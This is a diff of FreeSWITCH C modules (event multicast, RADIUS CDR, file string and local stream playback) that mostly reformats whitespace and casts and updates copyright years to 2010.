static unsigned char MAGIC[] = {226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166};
|
||||
static unsigned char MAGIC[] = { 226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166 };
|
||||
static char *MARKER = "1";
|
||||
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load);
|
||||
@@ -87,7 +87,7 @@ static switch_status_t load_config(void)
|
||||
uint32_t count = 0;
|
||||
uint8_t custom = 0;
|
||||
|
||||
|
||||
|
||||
globals.ttl = 1;
|
||||
globals.key_count = 0;
|
||||
|
||||
@@ -116,7 +116,7 @@ static switch_status_t load_config(void)
|
||||
#endif
|
||||
} else if (!strcasecmp(var, "ttl")) {
|
||||
int ttl = atoi(val);
|
||||
if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
|
||||
if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
|
||||
globals.ttl = (uint8_t) ttl;
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid ttl '%s' specified, using default of 1\n", val);
|
||||
@@ -176,22 +176,20 @@ static void event_handler(switch_event_t *event)
|
||||
}
|
||||
|
||||
if (event->subclass_name && (!strcmp(event->subclass_name, MULTICAST_EVENT) ||
|
||||
!strcmp(event->subclass_name, MULTICAST_PEERUP) ||
|
||||
!strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
|
||||
char * event_name, *sender;
|
||||
!strcmp(event->subclass_name, MULTICAST_PEERUP) || !strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
|
||||
char *event_name, *sender;
|
||||
if ((event_name = switch_event_get_header(event, "orig-event-name")) &&
|
||||
!strcasecmp(event_name, "HEARTBEAT") &&
|
||||
(sender = switch_event_get_header(event, "orig-multicast-sender"))) {
|
||||
!strcasecmp(event_name, "HEARTBEAT") && (sender = switch_event_get_header(event, "orig-multicast-sender"))) {
|
||||
struct peer_status *p;
|
||||
time_t now = switch_epoch_time_now(NULL);
|
||||
|
||||
|
||||
if (!(p = switch_core_hash_find(globals.peer_hash, sender))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Host %s not already in hash\n", sender);
|
||||
p = switch_core_alloc(module_pool, sizeof(struct peer_status));
|
||||
p->active = SWITCH_FALSE;
|
||||
p->lastseen = 0;
|
||||
/*} else {*/
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen);*/
|
||||
/*} else { */
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen); */
|
||||
}
|
||||
|
||||
if (!p->active) {
|
||||
@@ -200,7 +198,7 @@ static void event_handler(switch_event_t *event)
|
||||
char lastseen[21];
|
||||
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", sender);
|
||||
if (p->lastseen) {
|
||||
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)p->lastseen);
|
||||
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) p->lastseen);
|
||||
} else {
|
||||
switch_snprintf(lastseen, sizeof(lastseen), "%s", "Never");
|
||||
}
|
||||
@@ -246,11 +244,11 @@ static void event_handler(switch_event_t *event)
|
||||
time_t now = switch_epoch_time_now(NULL);
|
||||
struct peer_status *last;
|
||||
char *host;
|
||||
|
||||
|
||||
for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
|
||||
switch_hash_this(cur, &key, &keylen, &value);
|
||||
host = (char*) key;
|
||||
last = (struct peer_status*) value;
|
||||
host = (char *) key;
|
||||
last = (struct peer_status *) value;
|
||||
if (last->active && (now - (last->lastseen)) > 60) {
|
||||
switch_event_t *local_event;
|
||||
|
||||
@@ -258,7 +256,7 @@ static void event_handler(switch_event_t *event)
|
||||
if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERDOWN) == SWITCH_STATUS_SUCCESS) {
|
||||
char lastseen[21];
|
||||
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", host);
|
||||
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)last->lastseen);
|
||||
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) last->lastseen);
|
||||
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Lastseen", lastseen);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Peer %s has gone down; last seen: %s\n", host, lastseen);
|
||||
|
||||
@@ -292,14 +290,14 @@ static void event_handler(switch_event_t *event)
|
||||
#ifdef HAVE_OPENSSL
|
||||
int outlen, tmplen;
|
||||
EVP_CIPHER_CTX ctx;
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
|
||||
switch_uuid_t uuid;
|
||||
|
||||
switch_uuid_get(&uuid);
|
||||
switch_uuid_format(uuid_str, &uuid);
|
||||
len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char*)MAGIC);
|
||||
len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char *) MAGIC);
|
||||
#else
|
||||
len = strlen(packet) + sizeof(globals.host_hash) + strlen((char*) MAGIC);
|
||||
len = strlen(packet) + sizeof(globals.host_hash) + strlen((char *) MAGIC);
|
||||
#endif
|
||||
buf = malloc(len + 1);
|
||||
memset(buf, 0, len + 1);
|
||||
@@ -313,20 +311,20 @@ static void event_handler(switch_event_t *event)
|
||||
EVP_CIPHER_CTX_init(&ctx);
|
||||
EVP_EncryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
|
||||
EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
|
||||
EVP_EncryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
|
||||
EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
|
||||
&outlen, (unsigned char*) packet, (int) strlen(packet));
|
||||
EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
|
||||
&tmplen, (unsigned char*) MAGIC, (int) strlen((char *) MAGIC));
|
||||
EVP_EncryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
|
||||
EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
|
||||
&outlen, (unsigned char *) packet, (int) strlen(packet));
|
||||
EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
|
||||
&tmplen, (unsigned char *) MAGIC, (int) strlen((char *) MAGIC));
|
||||
outlen += tmplen;
|
||||
EVP_EncryptFinal(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
|
||||
EVP_EncryptFinal(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
|
||||
outlen += tmplen;
|
||||
len = (size_t) outlen + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
|
||||
*(buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen) = '\0';
|
||||
} else {
|
||||
#endif
|
||||
switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
|
||||
switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char*) MAGIC)+1);
|
||||
switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char *) MAGIC) + 1);
|
||||
#ifdef HAVE_OPENSSL
|
||||
}
|
||||
#endif
|
||||
@@ -354,8 +352,8 @@ SWITCH_STANDARD_API(multicast_peers)
|
||||
|
||||
for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
|
||||
switch_hash_this(cur, &key, &keylen, &value);
|
||||
host = (char*) key;
|
||||
last = (struct peer_status*) value;
|
||||
host = (char *) key;
|
||||
last = (struct peer_status *) value;
|
||||
|
||||
stream->write_function(stream, "Peer %s %s; last seen %d seconds ago\n", host, last->active ? "UP" : "DOWN", now - last->lastseen);
|
||||
i++;
|
||||
@@ -420,7 +418,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Bind Error\n");
|
||||
switch_goto_status(SWITCH_STATUS_TERM, fail);
|
||||
}
|
||||
|
||||
|
||||
if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_EVENT);
|
||||
switch_goto_status(SWITCH_STATUS_GENERR, fail);
|
||||
@@ -440,7 +438,6 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
|
||||
switch_goto_status(SWITCH_STATUS_GENERR, fail);
|
||||
}
|
||||
|
||||
#ifdef USE_NONBLOCK
|
||||
switch_socket_opt_set(globals.udp_socket, SWITCH_SO_NONBLOCK, TRUE);
|
||||
#endif
|
||||
@@ -454,7 +451,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
fail:
|
||||
fail:
|
||||
|
||||
if (globals.udp_socket) {
|
||||
switch_socket_close(globals.udp_socket);
|
||||
@@ -512,7 +509,6 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
|
||||
if ((status = switch_socket_recvfrom(addr, globals.udp_socket, 0, buf, &len)) != SWITCH_STATUS_SUCCESS || !len || !globals.running) {
|
||||
break;
|
||||
}
|
||||
|
||||
#ifdef USE_NONBLOCK
|
||||
if (!len) {
|
||||
if (SWITCH_STATUS_IS_BREAK(status)) {
|
||||
@@ -532,7 +528,7 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
|
||||
}
|
||||
#ifdef HAVE_OPENSSL
|
||||
if (globals.psk) {
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
|
||||
char *tmp;
|
||||
int outl, tmplen;
|
||||
EVP_CIPHER_CTX ctx;
|
||||
@@ -549,22 +545,21 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
|
||||
EVP_CIPHER_CTX_init(&ctx);
|
||||
EVP_DecryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
|
||||
EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
|
||||
EVP_DecryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
|
||||
EVP_DecryptUpdate(&ctx, (unsigned char*) tmp,
|
||||
&outl, (unsigned char*) packet, (int) len);
|
||||
EVP_DecryptFinal(&ctx, (unsigned char*) tmp + outl, &tmplen);
|
||||
EVP_DecryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
|
||||
EVP_DecryptUpdate(&ctx, (unsigned char *) tmp, &outl, (unsigned char *) packet, (int) len);
|
||||
EVP_DecryptFinal(&ctx, (unsigned char *) tmp + outl, &tmplen);
|
||||
|
||||
*(tmp + outl + tmplen) = '\0';
|
||||
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp));*/
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp)); */
|
||||
packet = tmp;
|
||||
|
||||
}
|
||||
#endif
|
||||
if ((m = strchr(packet, (int) MAGIC[0])) != 0) {
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n");*/
|
||||
if (!strncmp((char*) MAGIC, m, strlen((char*) MAGIC))) {
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n");*/
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n"); */
|
||||
if (!strncmp((char *) MAGIC, m, strlen((char *) MAGIC))) {
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n"); */
|
||||
*m = '\0';
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Failed to find entire magic string\n");
|
||||
@@ -575,7 +570,7 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
|
||||
continue;
|
||||
}
|
||||
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet);*/
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet); */
|
||||
if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
char *var, *val, *term = NULL, tmpname[128];
|
||||
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Multicast", "yes");
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -42,7 +42,8 @@ SWITCH_MODULE_DEFINITION(mod_radius_cdr, mod_radius_cdr_load, mod_radius_cdr_shu
|
||||
static struct {
|
||||
int shutdown;
|
||||
switch_thread_rwlock_t *rwlock;
|
||||
} globals = { 0 };
|
||||
} globals = {
|
||||
0};
|
||||
|
||||
static char cf[] = "mod_radius_cdr.conf";
|
||||
static char my_dictionary[PATH_MAX];
|
||||
@@ -346,9 +347,7 @@ static switch_status_t my_on_routing(switch_core_session_t *session)
|
||||
}
|
||||
}
|
||||
|
||||
if (profile->caller_extension &&
|
||||
profile->caller_extension->last_application &&
|
||||
profile->caller_extension->last_application->application_name) {
|
||||
if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
|
||||
if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
|
||||
(void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
|
||||
@@ -369,8 +368,8 @@ static switch_status_t my_on_routing(switch_core_session_t *session)
|
||||
retval = SWITCH_STATUS_TERM;
|
||||
}
|
||||
rc_avpair_free(send);
|
||||
rc_destroy(rad_config);
|
||||
end:
|
||||
rc_destroy(rad_config);
|
||||
end:
|
||||
switch_xml_free(cdr);
|
||||
switch_thread_rwlock_unlock(globals.rwlock);
|
||||
return (retval);
|
||||
@@ -562,8 +561,7 @@ static switch_status_t my_on_reporting(switch_core_session_t *session)
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
if (profile->caller_extension && profile->caller_extension->last_application &&
|
||||
profile->caller_extension->last_application->application_name) {
|
||||
if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
|
||||
if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
|
||||
(void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
|
||||
@@ -643,9 +641,9 @@ static switch_status_t my_on_reporting(switch_core_session_t *session)
|
||||
retval = SWITCH_STATUS_TERM;
|
||||
}
|
||||
rc_avpair_free(send);
|
||||
rc_destroy(rad_config);
|
||||
rc_destroy(rad_config);
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_xml_free(cdr);
|
||||
switch_thread_rwlock_unlock(globals.rwlock);
|
||||
return (retval);
|
||||
@@ -718,11 +716,11 @@ static const switch_state_handler_table_t state_handlers = {
|
||||
/*.on_hangup */ NULL,
|
||||
/*.on_exchange_media */ NULL,
|
||||
/*.on_soft_execute */ NULL,
|
||||
/*.on_consume_media*/ NULL,
|
||||
/*.on_hibernate*/ NULL,
|
||||
/*.on_reset*/ NULL,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ my_on_reporting
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_hibernate */ NULL,
|
||||
/*.on_reset */ NULL,
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ my_on_reporting
|
||||
};
|
||||
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_radius_cdr_load)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -63,10 +63,10 @@ static int next_file(switch_file_handle_t *handle)
|
||||
char *file;
|
||||
const char *prefix = handle->prefix;
|
||||
|
||||
top:
|
||||
top:
|
||||
|
||||
context->index++;
|
||||
|
||||
|
||||
if (switch_test_flag((&context->fh), SWITCH_FILE_OPEN)) {
|
||||
switch_core_file_close(&context->fh);
|
||||
}
|
||||
@@ -89,13 +89,10 @@ static int next_file(switch_file_handle_t *handle)
|
||||
}
|
||||
|
||||
if (switch_core_file_open(&context->fh,
|
||||
file,
|
||||
handle->channels,
|
||||
handle->samplerate,
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
file, handle->channels, handle->samplerate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
goto top;
|
||||
}
|
||||
|
||||
|
||||
handle->samples = context->fh.samples;
|
||||
handle->samplerate = context->fh.samplerate;
|
||||
handle->channels = context->fh.channels;
|
||||
@@ -122,15 +119,15 @@ static switch_status_t file_string_file_open(switch_file_handle_t *handle, const
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
context = switch_core_alloc(handle->memory_pool, sizeof(*context));
|
||||
|
||||
|
||||
file_dup = switch_core_strdup(handle->memory_pool, path);
|
||||
context->argc = switch_separate_string(file_dup, '!', context->argv, (sizeof(context->argv) / sizeof(context->argv[0])));
|
||||
context->index = -1;
|
||||
|
||||
|
||||
handle->private_info = context;
|
||||
|
||||
|
||||
return next_file(handle) ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
@@ -150,17 +147,17 @@ static switch_status_t file_string_file_read(switch_file_handle_t *handle, void
|
||||
size_t llen = *len;
|
||||
|
||||
if (context->samples > 0) {
|
||||
if (*len > (size_t)context->samples) {
|
||||
if (*len > (size_t) context->samples) {
|
||||
*len = context->samples;
|
||||
}
|
||||
|
||||
|
||||
context->samples -= *len;
|
||||
switch_generate_sln_silence((int16_t *) data, *len, 400);
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
} else {
|
||||
status = switch_core_file_read(&context->fh, data, len);
|
||||
}
|
||||
|
||||
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
if (!next_file(handle)) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -137,7 +137,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
}
|
||||
|
||||
switch_thread_rwlock_create(&source->rwlock, source->pool);
|
||||
|
||||
|
||||
if (RUNNING) {
|
||||
switch_mutex_lock(globals.mutex);
|
||||
switch_core_hash_insert(globals.source_hash, source->name, source);
|
||||
@@ -156,7 +156,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error creating pool");
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
if (switch_dir_open(&source->dir_handle, source->location, temp_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't open directory: %s\n", source->location);
|
||||
goto done;
|
||||
@@ -203,7 +203,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
fname = path_buf;
|
||||
fh.prebuf = source->prebuf;
|
||||
fh.pre_buffer_datalen = source->prebuf;
|
||||
|
||||
|
||||
if (switch_core_file_open(&fh,
|
||||
(char *) fname,
|
||||
source->channels, source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
@@ -211,7 +211,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
switch_yield(1000000);
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
if (switch_core_timer_init(&timer, source->timer_name, source->interval, source->samples, temp_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't start timer.\n");
|
||||
switch_dir_close(source->dir_handle);
|
||||
@@ -231,10 +231,10 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
if (source->chime_counter > 0) {
|
||||
source->chime_counter -= source->samples;
|
||||
}
|
||||
|
||||
|
||||
if (!switch_test_flag((&source->chime_fh), SWITCH_FILE_OPEN) && source->chime_counter <= 0) {
|
||||
char *val;
|
||||
|
||||
|
||||
val = source->chime_list[source->chime_cur++];
|
||||
|
||||
if (source->chime_cur >= source->chime_total) {
|
||||
@@ -243,9 +243,8 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
|
||||
if (switch_core_file_open(&source->chime_fh,
|
||||
(char *) val,
|
||||
source->channels,
|
||||
source->rate,
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
source->channels,
|
||||
source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open %s\n", val);
|
||||
}
|
||||
}
|
||||
@@ -255,7 +254,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
}
|
||||
}
|
||||
|
||||
retry:
|
||||
retry:
|
||||
|
||||
is_open = switch_test_flag(use_fh, SWITCH_FILE_OPEN);
|
||||
|
||||
@@ -287,7 +286,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
if (!used && !is_open) {
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
if (!is_open || used >= source->prebuf || (source->total && used > source->samples * 2)) {
|
||||
used = switch_buffer_read(audio_buffer, dist_buf, source->samples * 2);
|
||||
if (source->total) {
|
||||
@@ -322,7 +321,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
source->dir_handle = NULL;
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
if (switch_test_flag((&fh), SWITCH_FILE_OPEN)) {
|
||||
switch_core_file_close(&fh);
|
||||
@@ -339,7 +338,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
|
||||
switch_thread_rwlock_wrlock(source->rwlock);
|
||||
switch_thread_rwlock_unlock(source->rwlock);
|
||||
|
||||
|
||||
switch_buffer_destroy(&audio_buffer);
|
||||
|
||||
if (fd > -1) {
|
||||
@@ -376,7 +375,7 @@ static switch_status_t local_stream_file_open(switch_file_handle_t *handle, cons
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
|
||||
top:
|
||||
top:
|
||||
|
||||
alt_path = switch_mprintf("%s/%d", path, handle->samplerate);
|
||||
|
||||
@@ -439,7 +438,7 @@ static switch_status_t local_stream_file_open(switch_file_handle_t *handle, cons
|
||||
source->total++;
|
||||
switch_mutex_unlock(source->mutex);
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_safe_free(alt_path);
|
||||
return status;
|
||||
}
|
||||
@@ -464,7 +463,7 @@ static switch_status_t local_stream_file_close(switch_file_handle_t *handle)
|
||||
switch_mutex_unlock(context->source->mutex);
|
||||
switch_buffer_destroy(&context->audio_buffer);
|
||||
switch_thread_rwlock_unlock(context->source->rwlock);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -573,7 +572,8 @@ static void launch_threads(void)
|
||||
}
|
||||
} else if (!strcasecmp(var, "chime-list")) {
|
||||
char *list_dup = switch_core_strdup(source->pool, val);
|
||||
source->chime_total = switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
|
||||
source->chime_total =
|
||||
switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
|
||||
} else if (!strcasecmp(var, "interval")) {
|
||||
int tmp = atoi(val);
|
||||
if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
|
||||
@@ -644,19 +644,19 @@ SWITCH_STANDARD_API(stop_local_stream_function)
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
|
||||
if (!source) {
|
||||
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
|
||||
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
|
||||
goto done;
|
||||
}
|
||||
|
||||
source->stopped = 1;
|
||||
stream->write_function(stream,"+OK");
|
||||
stream->write_function(stream, "+OK");
|
||||
goto done;
|
||||
|
||||
usage:
|
||||
usage:
|
||||
stream->write_function(stream, "-USAGE: %s\n", STOP_LOCAL_STREAM_SYNTAX);
|
||||
switch_safe_free(mycmd);
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
switch_safe_free(mycmd);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -694,7 +694,7 @@ SWITCH_STANDARD_API(show_local_stream_function)
|
||||
xml = SWITCH_TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!local_stream_name) {
|
||||
goto usage;
|
||||
}
|
||||
@@ -730,18 +730,18 @@ SWITCH_STANDARD_API(show_local_stream_function)
|
||||
stream->write_function(stream, " stopped: %s\n", (source->stopped) ? "true" : "false");
|
||||
}
|
||||
} else {
|
||||
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
|
||||
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
|
||||
goto done;
|
||||
}
|
||||
}
|
||||
|
||||
stream->write_function(stream,"+OK");
|
||||
stream->write_function(stream, "+OK");
|
||||
goto done;
|
||||
|
||||
usage:
|
||||
usage:
|
||||
stream->write_function(stream, "-USAGE: %s\n", SHOW_LOCAL_STREAM_SYNTAX);
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
switch_safe_free(mycmd);
|
||||
@@ -796,29 +796,28 @@ SWITCH_STANDARD_API(start_local_stream_function)
|
||||
if (argv[5]) {
|
||||
tmp = atoi(argv[5]);
|
||||
